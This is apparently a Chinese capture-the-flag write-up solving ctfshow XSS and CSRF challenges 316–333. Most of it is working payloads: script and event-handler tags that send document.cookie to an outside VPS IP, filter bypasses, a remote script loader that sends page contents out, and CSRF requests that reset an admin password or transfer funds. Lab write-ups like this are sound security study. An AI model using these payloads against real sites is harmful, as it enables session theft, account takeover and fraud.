0%

XSS

XSS

又叫CSS,跨站脚本攻击,它指的是恶意攻击者往Web页面里插入恶意html代码,当用户浏览该页之时,嵌入其中Web里面的html代码会被执行,从而达到恶意攻击用户的特殊目的

反射型

image.png

绕过姿势

引号

在前面加\进行转义,或者用html的固定字符代替

script

<img src="onerror=loaction.href='http://114.116.119.253:8080?cookie='+document.cookie">

<iframe onload=window.open('http://114.116.119.253:8080?cookie='+document.cookie)>

ctfshow

316

payload=?msg=<script>document.location.href='http://114.116.119.253:8888?cookie='+document.cookie</script>

首先在vps上开放静态端口8888

python3 -m http.server 8888

之后如果在hackbar提交payload,需要进行url编码,向vps反射即可得到cookie,flag即在里面

image.png

image.png

将得到的flag进行url解码即可

317-319

317.script被过滤了,用body标签的onload属性,onload属性在对象已加载时触发

318过滤了img

onload 常用在 中,一旦完全加载所有内容(包括图像、脚本文件、CSS 文件等),就执行一段脚本。

?msg=<body onload="window.location.href='http://114.116.119.253:8080?cookie= '+document.cookie"></body>

320-325

320过滤了空格/**/绕过

321过滤了逗号

payload=<body/**/onload="window.location.href='http://114.116.119.253:8080?cookie='+document.cookie"></body>

327

存储类型的xss,

image.png

image.png

收件人必须时admin,即可获得flag

image.png

328

管理员那边能够看到用户名等信息,由此推测注入点在用户名,用户名=<body/**/onload="window.location.href='http://114.116.119.253:8080?cookie='+document.cookie"></body>,密码随意,登录之后,vps即会获取实时的cookie,由于是动态,会不断刷新,所以获得cookie后关闭我们创建的页面,

image.png到管理员页面后伪造cookie,选择最近的一个cookie,即可得到管理员身份,拿到flag

image.png

329

1
window.location.href="http://114.116.119.253:8081?a="+escape(document.getElementsByClassName("layui-form layui-border-box layui-table-view")[0].innerHTML)

本题设有过滤,script里面不允许有东西,因此,利用了src属性,调用vps里面的1.js文件,强制获取当前页面所有内容,因为是存储型

注册的用户名为:<script src="http://114.116.119.253:8081/1.js"></script>

image.png

返回内容后,将页面url解码,即可得到flag

image.png

330

csrf

本题新增了个修改密码的的功能,burpsuite抓包

image.png

存在/api/change.php?p=123路由

注册用户名为<script>window.location.href='http://127.0.0.1/api/change.php?p=123';</script>,注册后,admin的密码即被修改为123,登录即可拿到flag

image

331

image.png

burpsuite抓包可以知道,类型为POST类型的csrf

<script>$.ajax({url:'http://127.0.0.1/api/change.php',type:'post',data:{p:'123'}});</script>用户名

admin的密码即被修改成功

image.png得到flag

image.png

332-333

首先注册一个正常的账号,xxx,再注册一个账号,用户名为

<script>$.ajax({url:'http://127.0.0.1/api/amount.php',type:'post',data:{u:'xxx',a:'10000'}});</script>

即利用admin给xxx账户转钱,即可购买flag


来源: https://www.yuque.com/guansuanbangzhuangganjun/oxmbxg/py8vg0lc41ivc2yq
语雀文档ID: 148710860